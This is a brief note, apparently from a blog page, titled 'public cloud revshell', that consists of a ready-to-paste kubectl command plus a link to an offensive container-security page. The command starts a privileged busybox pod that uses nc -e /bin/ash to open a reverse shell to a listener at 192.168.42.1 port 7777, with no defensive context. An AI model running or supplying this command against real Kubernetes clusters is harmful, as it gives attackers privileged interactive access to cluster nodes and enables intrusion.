public cloud revshell

kubectl run --rm -it busybox --image=busybox --overrides='{"apiVersion":"v1","spec":{"containers":[{"name":"busybox","image":"busybox","stdin":true,"tty":true,"command":["/bin/nc","192.168.42.1", "7777","-e","/bin/ash", "-i"],"securityContext":{"privileged":true}}]}}'

 

https://cloudsecdocs.com/container_security/offensive/attacks/techniques/reverse_shell/#reverse-shell-on-every-node

你可能感兴趣的:(linux)